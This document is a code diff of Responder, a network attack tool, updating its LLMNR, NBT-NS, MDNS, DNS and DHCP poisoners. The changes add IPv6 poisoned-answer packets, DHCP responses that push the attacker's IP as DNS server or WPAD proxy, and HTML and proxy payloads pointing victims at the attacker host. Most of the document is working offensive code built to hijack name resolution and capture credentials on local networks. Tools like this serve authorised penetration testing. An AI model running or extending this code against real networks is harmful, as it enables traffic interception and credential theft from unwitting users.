server.serve_forever() server.serve_forever()
except: except:
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.") print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
def serve_NBTNS_poisoner(host, port, handler): def serve_NBTNS_poisoner(host, port, handler):
serve_thread_udp_broadcast(host, port, handler) serve_thread_udp_broadcast('', port, handler)
def serve_MDNS_poisoner(host, port, handler): def serve_MDNS_poisoner(host, port, handler):
try: try:
server = ThreadingUDPMDNSServer((host, port), handler) server = ThreadingUDPMDNSServer(('', port), handler)
server.serve_forever() server.serve_forever()
except: except:
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.") print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
def serve_LLMNR_poisoner(host, port, handler): def serve_LLMNR_poisoner(host, port, handler):
try: try:
server = ThreadingUDPLLMNRServer((host, port), handler) server = ThreadingUDPLLMNRServer(('', port), handler)
server.serve_forever() server.serve_forever()
except: except:
raise
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.") print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
def serve_thread_udp(host, port, handler): def serve_thread_udp(host, port, handler):
try: try:
if OsInterfaceIsSupported(): if OsInterfaceIsSupported():
server = ThreadingUDPServer((host, port), handler) server = ThreadingUDPServer(('', port), handler)
server.serve_forever() server.serve_forever()
else: else:
server = ThreadingUDPServer((host, port), handler) server = ThreadingUDPServer(('', port), handler)
server.serve_forever() server.serve_forever()
except: except:
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.") print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
@@ -203,10 +227,10 @@ def serve_thread_udp(host, port, handler):
def serve_thread_tcp(host, port, handler): def serve_thread_tcp(host, port, handler):
try: try:
if OsInterfaceIsSupported(): if OsInterfaceIsSupported():
server = ThreadingTCPServer((host, port), handler) server = ThreadingTCPServer(('', port), handler)
server.serve_forever() server.serve_forever()
else: else:
server = ThreadingTCPServer((host, port), handler) server = ThreadingTCPServer(('', port), handler)
server.serve_forever() server.serve_forever()
except: except:
print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.") print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.")
@@ -214,10 +238,10 @@ def serve_thread_tcp(host, port, handler):
def serve_thread_tcp_auth(host, port, handler): def serve_thread_tcp_auth(host, port, handler):
try: try:
if OsInterfaceIsSupported(): if OsInterfaceIsSupported():
server = ThreadingTCPServerAuth((host, port), handler) server = ThreadingTCPServerAuth(('', port), handler)
server.serve_forever() server.serve_forever()
else: else:
server = ThreadingTCPServerAuth((host, port), handler) server = ThreadingTCPServerAuth(('', port), handler)
server.serve_forever() server.serve_forever()
except: except:
print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.") print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.")
@@ -227,20 +251,26 @@ def serve_thread_SSL(host, port, handler):
cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert) cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey) key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain(cert, key)
if OsInterfaceIsSupported(): if OsInterfaceIsSupported():
server = ThreadingTCPServer((host, port), handler) server = ThreadingTCPServer(('', port), handler)
server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True) server.socket = context.wrap_socket(server.socket, server_side=True)
server.serve_forever() server.serve_forever()
else: else:
server = ThreadingTCPServer((host, port), handler) server = ThreadingTCPServer(('', port), handler)
server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True) server.socket = context.wrap_socket(server.socket, server_side=True)
server.serve_forever() server.serve_forever()
except: except:
print(color("[!] ", 1, 1) + "Error starting SSL server on port " + str(port) + ", check permissions or other servers running.") print(color("[!] ", 1, 1) + "Error starting SSL server on port " + str(port) + ", check permissions or other servers running.")
def main(): def main():
try: try:
if (sys.version_info < (3, 0)):
print(color('\n\n[-]', 3, 1) + " Still using python 2? :(")
print(color('\n[+]', 2, 1) + " Listening for events...\n")
threads = [] threads = []
# Load (M)DNS, NBNS and LLMNR Poisoners # Load (M)DNS, NBNS and LLMNR Poisoners
@@ -335,19 +365,23 @@ def main():
threads.append(Thread(target=serve_thread_udp, args=('', 53, DNS,))) threads.append(Thread(target=serve_thread_udp, args=('', 53, DNS,)))
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 53, DNSTCP,))) threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 53, DNSTCP,)))
if settings.Config.SNMP_On_Off:
from servers.SNMP import SNMP
threads.append(Thread(target=serve_thread_udp, args=('', 161, SNMP,)))
for thread in threads: for thread in threads:
thread.setDaemon(True) thread.daemon = True
thread.start() thread.start()
print(color('\n[+]', 2, 1) + " Listening for events...\n")
if settings.Config.AnalyzeMode: if settings.Config.AnalyzeMode:
print(color('[+] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1)) print(color('[+] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1))
if settings.Config.Quiet_Mode:
print(color('[+] Responder is in quiet mode. No NBT-NS, LLMNR, MDNS messages will print to screen.', 3, 1))
if settings.Config.DHCP_On_Off: if settings.Config.DHCP_On_Off:
from poisoners.DHCP import DHCP from poisoners.DHCP import DHCP
DHCP() DHCP(settings.Config.DHCP_DNS)
while True: while True:
time.sleep(1) time.sleep(1)

View File

@@ -1,66 +0,0 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import socket
import struct
import sys
from utils import color, StructPython2or3, NetworkSendBufferPython2or3, NetworkRecvBufferPython2or3
from packets import SMBHeader, SMBNego, SMBNegoFingerData, SMBSessionFingerData
def OsNameClientVersion(data):
try:
if (sys.version_info > (3, 0)):
length = struct.unpack('<H',data[43:45])[0]
packet = NetworkRecvBufferPython2or3(data[47+length:])
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in packet.split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion
else:
length = struct.unpack('<H',data[43:45])[0]
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion
except:
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
def RunSmbFinger(host):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(host)
s.settimeout(0.7)
h = SMBHeader(cmd='\x72',flag1='\x18',flag2='\x53\xc8')
n = SMBNego(data = str(SMBNegoFingerData()))
n.calculate()
Packet = str(h)+str(n)
Buffer1 = StructPython2or3('>i', str(Packet))+str(Packet)
s.send(NetworkSendBufferPython2or3(Buffer1))
data = s.recv(2048)
if data[8:10] == b'\x72\x00':
Header = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
Body = SMBSessionFingerData()
Body.calculate()
Packet = str(Header)+str(Body)
Buffer1 = StructPython2or3('>i', str(Packet))+str(Packet)
s.send(NetworkSendBufferPython2or3(Buffer1))
data = s.recv(2048)
if data[8:10] == b'\x73\x16':
return OsNameClientVersion(data)
except:
print(color("[!] ", 1, 1) +" Fingerprint failed")
return None

View File

@@ -1,9 +1,12 @@
import sys import sys
try: try:
from UserDict import DictMixin from UserDict import DictMixin
except ImportError: except ImportError:
from collections import UserDict from collections import UserDict
from collections import MutableMapping as DictMixin try:
from collections import MutableMapping as DictMixin
except ImportError:
from collections.abc import MutableMapping as DictMixin
class OrderedDict(dict, DictMixin): class OrderedDict(dict, DictMixin):

View File

@@ -23,7 +23,7 @@ import re
from os import urandom from os import urandom
from base64 import b64decode, b64encode from base64 import b64decode, b64encode
from odict import OrderedDict from odict import OrderedDict
from utils import HTTPCurrentDate, SMBTime, RespondWithIPAton, StructPython2or3, NetworkRecvBufferPython2or3, StructWithLenPython2or3 from utils import HTTPCurrentDate, SMBTime, RespondWithIPAton, RespondWithIPPton, RespondWithIP, StructPython2or3, NetworkRecvBufferPython2or3, StructWithLenPython2or3
# Packet class handling all packet generation (see odict.py). # Packet class handling all packet generation (see odict.py).
class Packet(): class Packet():
@@ -89,7 +89,100 @@ class DNS_Ans(Packet):
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1]) self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
self.fields["IP"] = RespondWithIPAton() self.fields["IP"] = RespondWithIPAton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"]) self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
# DNS Answer Packet OPT
class DNS_AnsOPT(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x85\x10"),
("Question", "\x00\x01"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x01"),
("QuestionName", ""),
("QuestionNameNull", "\x00"),
("Type", "\x00\x01"),
("Class", "\x00\x01"),
("AnswerPointer", "\xc0\x0c"),
("Type1", "\x00\x01"),
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long..
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
("OPTName", "\x00"),
("OPTType", "\x00\x29"),
("OPTUDPSize", "\x10\x00"),
("OPTRCode", "\x00"),
("OPTEDNSVersion", "\x00"),
("OPTLen", "\x00\x00"),# Hardcoded since it's fixed to 0 in this case.
("OPTStr", "\x00\x00"),
])
def calculate(self,data):
self.fields["Tid"] = data[0:2]
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
self.fields["IP"] = RespondWithIPAton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
class DNS6_Ans(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x85\x10"),
("Question", "\x00\x01"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("QuestionName", ""),
("QuestionNameNull", "\x00"),
("Type", "\x00\x1c"),
("Class", "\x00\x01"),
("AnswerPointer", "\xc0\x0c"),
("Type1", "\x00\x1c"),
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long..
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self,data):
self.fields["Tid"] = data[0:2]
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
self.fields["IP"] = RespondWithIPPton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
class DNS6_AnsOPT(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x85\x10"),
("Question", "\x00\x01"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x01"),
("QuestionName", ""),
("QuestionNameNull", "\x00"),
("Type", "\x00\x1c"),
("Class", "\x00\x01"),
("AnswerPointer", "\xc0\x0c"),
("Type1", "\x00\x1c"),
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long..
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
("OPTName", "\x00"),
("OPTType", "\x00\x29"),
("OPTUDPSize", "\x10\x00"),
("OPTRCode", "\x00"),
("OPTEDNSVersion", "\x00"),
("OPTLen", "\x00\x00"),# Hardcoded since it's fixed to 0 in this case.
("OPTStr", "\x00\x00"),
])
def calculate(self,data):
self.fields["Tid"] = data[0:2]
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
self.fields["IP"] = RespondWithIPPton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
class DNS_SRV_Ans(Packet): class DNS_SRV_Ans(Packet):
fields = OrderedDict([ fields = OrderedDict([
("Tid", ""), ("Tid", ""),
@@ -181,6 +274,35 @@ class LLMNR_Ans(Packet):
self.fields["AnswerNameLen"] = StructPython2or3(">B",self.fields["AnswerName"]) self.fields["AnswerNameLen"] = StructPython2or3(">B",self.fields["AnswerName"])
self.fields["QuestionNameLen"] = StructPython2or3(">B",self.fields["QuestionName"]) self.fields["QuestionNameLen"] = StructPython2or3(">B",self.fields["QuestionName"])
class LLMNR6_Ans(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x80\x00"),
("Question", "\x00\x01"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("QuestionNameLen", "\x09"),
("QuestionName", ""),
("QuestionNameNull", "\x00"),
("Type", "\x00\x1c"),
("Class", "\x00\x01"),
("AnswerNameLen", "\x09"),
("AnswerName", ""),
("AnswerNameNull", "\x00"),
("Type1", "\x00\x1c"),
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec.
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["IP"] = RespondWithIPPton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
self.fields["AnswerNameLen"] = StructPython2or3(">B",self.fields["AnswerName"])
self.fields["QuestionNameLen"] = StructPython2or3(">B",self.fields["QuestionName"])
# MDNS Answer Packet # MDNS Answer Packet
class MDNS_Ans(Packet): class MDNS_Ans(Packet):
fields = OrderedDict([ fields = OrderedDict([
@@ -200,6 +322,29 @@ class MDNS_Ans(Packet):
]) ])
def calculate(self): def calculate(self):
self.fields["IP"] = RespondWithIPAton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
# MDNS6 Answer Packet
class MDNS6_Ans(Packet):
fields = OrderedDict([
("Tid", "\x00\x00"),
("Flags", "\x84\x00"),
("Question", "\x00\x00"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("AnswerName", ""),
("AnswerNameNull", "\x00"),
("Type", "\x00\x1c"),
("Class", "\x00\x01"),
("TTL", "\x00\x00\x00\x78"),##Poison for 2mn.
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["IP"] = RespondWithIPPton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"]) self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
################### DHCP SRV ###################### ################### DHCP SRV ######################
@@ -299,7 +444,7 @@ class IIS_Auth_Granted(Packet):
("ContentLen", "Content-Length: "), ("ContentLen", "Content-Length: "),
("ActualLen", "76"), ("ActualLen", "76"),
("CRLF", "\r\n\r\n"), ("CRLF", "\r\n\r\n"),
("Payload", "<html>\n<head>\n</head>\n<body>\n<img src='file:\\\\\\\\\\\\shar\\smileyd.ico' alt='Loading' height='1' width='2'>\n</body>\n</html>\n"), ("Payload", "<html>\n<head>\n</head>\n<body>\n<img src='file:\\\\\\\\\\\\"+RespondWithIP()+"\\smileyd.ico' alt='Loading' height='1' width='2'>\n</body>\n</html>\n"),
]) ])
def calculate(self): def calculate(self):
self.fields["ActualLen"] = len(str(self.fields["Payload"])) self.fields["ActualLen"] = len(str(self.fields["Payload"]))
@@ -358,7 +503,7 @@ class WPADScript(Packet):
("ContentLen", "Content-Length: "), ("ContentLen", "Content-Length: "),
("ActualLen", "76"), ("ActualLen", "76"),
("CRLF", "\r\n\r\n"), ("CRLF", "\r\n\r\n"),
("Payload", "function FindProxyForURL(url, host){return 'PROXY wpadwpadwpad:3141; DIRECT';}"), ("Payload", "function FindProxyForURL(url, host){return 'PROXY "+RespondWithIP()+":3141; DIRECT';}"),
]) ])
def calculate(self): def calculate(self):
self.fields["ActualLen"] = len(str(self.fields["Payload"])) self.fields["ActualLen"] = len(str(self.fields["Payload"]))
@@ -2228,7 +2373,7 @@ class SamLogonResponseEx(Packet):
("ServerName", settings.Config.MachineName), ("ServerName", settings.Config.MachineName),
("ServerTerminator", "\x00"), ("ServerTerminator", "\x00"),
("UsernameLen", "\x10"), ("UsernameLen", "\x10"),
("Username", "LGANDX"), ("Username", settings.Config.Username),
("UserTerminator", "\x00"), ("UserTerminator", "\x00"),
("SrvSiteNameLen", "\x17"), ("SrvSiteNameLen", "\x17"),
("SrvSiteName", "Default-First-Site-Name"), ("SrvSiteName", "Default-First-Site-Name"),

View File

@@ -19,6 +19,7 @@ if (sys.version_info < (3, 0)):
sys.exit('This script is meant to be run with Python3') sys.exit('This script is meant to be run with Python3')
import struct import struct
import random
import optparse import optparse
import configparser import configparser
import os import os
@@ -84,7 +85,7 @@ ROUTERIP = Responder_IP # Set to Responder_IP in case we fall on a st
NETMASK = "255.255.255.0" NETMASK = "255.255.255.0"
DNSIP = "0.0.0.0" DNSIP = "0.0.0.0"
DNSIP2 = "0.0.0.0" DNSIP2 = "0.0.0.0"
DNSNAME = "lan" DNSNAME = "local"
WPADSRV = "http://"+Responder_IP+"/wpad.dat" WPADSRV = "http://"+Responder_IP+"/wpad.dat"
Respond_To_Requests = True Respond_To_Requests = True
DHCPClient = [] DHCPClient = []
@@ -197,22 +198,28 @@ class DHCPACK(Packet):
("Op6", "\x06"), ("Op6", "\x06"),
("Op6Len", "\x08"), ("Op6Len", "\x08"),
("Op6Str", ""), #DNS Servers ("Op6Str", ""), #DNS Servers
("Op252", "\xfc"), ("Op252", ""),
("Op252Len", "\x04"), ("Op252Len", ""),
("Op252Str", ""), #Wpad Server ("Op252Str", ""), #Wpad Server
("Op255", "\xff"), ("Op255", "\xff"),
("Padding", "\x00"), ("Padding", "\x00"),
]) ])
def calculate(self): def calculate(self, DHCP_DNS):
self.fields["Op54Str"] = socket.inet_aton(ROUTERIP).decode('latin-1') self.fields["Op54Str"] = socket.inet_aton(ROUTERIP).decode('latin-1')
self.fields["Op1Str"] = socket.inet_aton(NETMASK).decode('latin-1') self.fields["Op1Str"] = socket.inet_aton(NETMASK).decode('latin-1')
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP).decode('latin-1') self.fields["Op3Str"] = socket.inet_aton(ROUTERIP).decode('latin-1')
self.fields["Op6Str"] = socket.inet_aton(DNSIP).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1') self.fields["Op6Str"] = socket.inet_aton(DNSIP).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1')
self.fields["Op15Str"] = DNSNAME self.fields["Op15Str"] = DNSNAME
self.fields["Op252Str"] = WPADSRV if DHCP_DNS:
self.fields["Op6Str"] = socket.inet_aton(RespondWithIP()).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1')
else:
self.fields["Op252"] = "\xfc"
self.fields["Op252Str"] = WPADSRV
self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"])))
self.fields["Op51Str"] = StructWithLenPython2or3('>L', random.randrange(10, 20))
self.fields["Op15Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op15Str"]))) self.fields["Op15Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op15Str"])))
self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"])))
def RespondToThisIP(ClientIp): def RespondToThisIP(ClientIp):
if ClientIp.startswith('127.0.0.'): if ClientIp.startswith('127.0.0.'):
@@ -236,7 +243,7 @@ def FindIP(data):
IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data)) IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data))
return ''.join(IP[0:4]).encode('latin-1') return ''.join(IP[0:4]).encode('latin-1')
def ParseDHCPCode(data, ClientIP): def ParseDHCPCode(data, ClientIP,DHCP_DNS):
global DHCPClient global DHCPClient
global ROUTERIP global ROUTERIP
PTid = data[4:8] PTid = data[4:8]
@@ -249,8 +256,8 @@ def ParseDHCPCode(data, ClientIP):
RequestIP = data[245:249] RequestIP = data[245:249]
if DHCPClient.count(MacAddrStr) >= 4: if DHCPClient.count(MacAddrStr) >= 4:
return "'%s' has been poisoned more than 4 times. Ignoring..." % MacAddrStr return "'%s' has been poisoned more than 4 times. Ignoring..." % MacAddrStr
if OpCode == b"\x02" and Respond_To_Requests: # DHCP Offer if OpCode == b"\x02" and Respond_To_Requests: # DHCP Offer
ROUTERIP = ClientIP ROUTERIP = ClientIP
return 'Found DHCP server IP: %s, now waiting for incoming requests...' % (ROUTERIP) return 'Found DHCP server IP: %s, now waiting for incoming requests...' % (ROUTERIP)
@@ -262,7 +269,7 @@ def ParseDHCPCode(data, ClientIP):
if RespondToThisIP(IPConv): if RespondToThisIP(IPConv):
IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=IP.decode('latin-1')) IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=IP.decode('latin-1'))
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), ElapsedSec=Seconds.decode('latin-1')) Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), ElapsedSec=Seconds.decode('latin-1'))
Packet.calculate() Packet.calculate(DHCP_DNS)
Buffer = UDP(Data = Packet) Buffer = UDP(Data = Packet)
Buffer.calculate() Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68)) SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68))
@@ -273,6 +280,26 @@ def ParseDHCPCode(data, ClientIP):
'RequestedIP': IPConv, 'RequestedIP': IPConv,
}) })
return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, IPConv, MacAddrStr) return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, IPConv, MacAddrStr)
# DHCP Inform
elif OpCode == b"\x08":
IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=socket.inet_aton(CurrentIP).decode('latin-1'))
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), ActualClientIP=socket.inet_aton(CurrentIP).decode('latin-1'),
GiveClientIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
NextServerIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
RelayAgentIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
ElapsedSec=Seconds.decode('latin-1'))
Packet.calculate(DHCP_DNS)
Buffer = UDP(Data = Packet)
Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68))
DHCPClient.append(MacAddrStr)
SaveDHCPToDb({
'MAC': MacAddrStr,
'IP': CurrentIP,
'RequestedIP': RequestedIP,
})
return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr)
elif OpCode == b"\x01" and Respond_To_Requests: # DHCP Discover elif OpCode == b"\x01" and Respond_To_Requests: # DHCP Discover
IP = FindIP(data) IP = FindIP(data)
@@ -281,7 +308,7 @@ def ParseDHCPCode(data, ClientIP):
if RespondToThisIP(IPConv): if RespondToThisIP(IPConv):
IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=IP.decode('latin-1')) IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=IP.decode('latin-1'))
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), DHCPOpCode="\x02", ElapsedSec=Seconds.decode('latin-1')) Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), DHCPOpCode="\x02", ElapsedSec=Seconds.decode('latin-1'))
Packet.calculate() Packet.calculate(DHCP_DNS)
Buffer = UDP(Data = Packet) Buffer = UDP(Data = Packet)
Buffer.calculate() Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0)) SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0))
@@ -308,7 +335,7 @@ def SendDHCP(packet,Host):
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
s.sendto(NetworkSendBufferPython2or3(packet), Host) s.sendto(NetworkSendBufferPython2or3(packet), Host)
def DHCP(): def DHCP(DHCP_DNS):
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW) s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
s.bind((Interface, 0x0800)) s.bind((Interface, 0x0800))
SendDiscover() SendDiscover()
@@ -318,6 +345,6 @@ def DHCP():
SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data) SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data)
if SrcPort == 67 or DstPort == 67: if SrcPort == 67 or DstPort == 67:
ClientIP = socket.inet_ntoa(data[0][26:30]) ClientIP = socket.inet_ntoa(data[0][26:30])
ret = ParseDHCPCode(data[0][42:], ClientIP) ret = ParseDHCPCode(data[0][42:], ClientIP,DHCP_DNS)
if ret: if ret and not settings.Config.Quiet_Mode:
print(text("[*] [DHCP] %s" % ret)) print(text("[*] [DHCP] %s" % ret))

50
poisoners/LLMNR.py Normal file → Executable file
View File

@@ -14,9 +14,7 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
from packets import LLMNR_Ans, LLMNR6_Ans
import fingerprint
from packets import LLMNR_Ans
from utils import * from utils import *
if (sys.version_info > (3, 0)): if (sys.version_info > (3, 0)):
@@ -24,9 +22,6 @@ if (sys.version_info > (3, 0)):
else: else:
from SocketServer import BaseRequestHandler from SocketServer import BaseRequestHandler
def Parse_LLMNR_Name(data): def Parse_LLMNR_Name(data):
import codecs import codecs
NameLen = data[12] NameLen = data[12]
@@ -42,7 +37,7 @@ def IsICMPRedirectPlausible(IP):
for line in file: for line in file:
ip = line.split() ip = line.split()
if len(ip) < 2: if len(ip) < 2:
continue continue
elif ip[0] == 'nameserver': elif ip[0] == 'nameserver':
dnsip.extend(ip[1:]) dnsip.extend(ip[1:])
for x in dnsip: for x in dnsip:
@@ -60,37 +55,50 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
try: try:
data, soc = self.request data, soc = self.request
Name = Parse_LLMNR_Name(data).decode("latin-1") Name = Parse_LLMNR_Name(data).decode("latin-1")
LLMNRType = Parse_IPV6_Addr(data)
# Break out if we don't want to respond to this host # Break out if we don't want to respond to this host
if RespondToThisHost(self.client_address[0], Name) is not True: if RespondToThisHost(self.client_address[0].replace("::ffff:",""), Name) is not True:
return None return None
if data[2:4] == b'\x00\x00' and Parse_IPV6_Addr(data): #IPv4
Finger = None if data[2:4] == b'\x00\x00' and LLMNRType:
if settings.Config.Finger_On_Off:
Finger = fingerprint.RunSmbFinger((self.client_address[0], 445))
if settings.Config.AnalyzeMode: if settings.Config.AnalyzeMode:
LineHeader = "[Analyze mode: LLMNR]" LineHeader = "[Analyze mode: LLMNR]"
print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)) print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
SavePoisonersToDb({ SavePoisonersToDb({
'Poisoner': 'LLMNR', 'Poisoner': 'LLMNR',
'SentToIp': self.client_address[0], 'SentToIp': self.client_address[0],
'ForName': Name, 'ForName': Name,
'AnalyzeMode': '1', 'AnalyzeMode': '1',
}) })
else: # Poisoning Mode
elif LLMNRType == True: # Poisoning Mode
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name) Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
Buffer1.calculate() Buffer1.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
LineHeader = "[*] [LLMNR]" if not settings.Config.Quiet_Mode:
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)) LineHeader = "[*] [LLMNR]"
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
SavePoisonersToDb({ SavePoisonersToDb({
'Poisoner': 'LLMNR', 'Poisoner': 'LLMNR',
'SentToIp': self.client_address[0], 'SentToIp': self.client_address[0],
'ForName': Name, 'ForName': Name,
'AnalyzeMode': '0', 'AnalyzeMode': '0',
}) })
if Finger is not None:
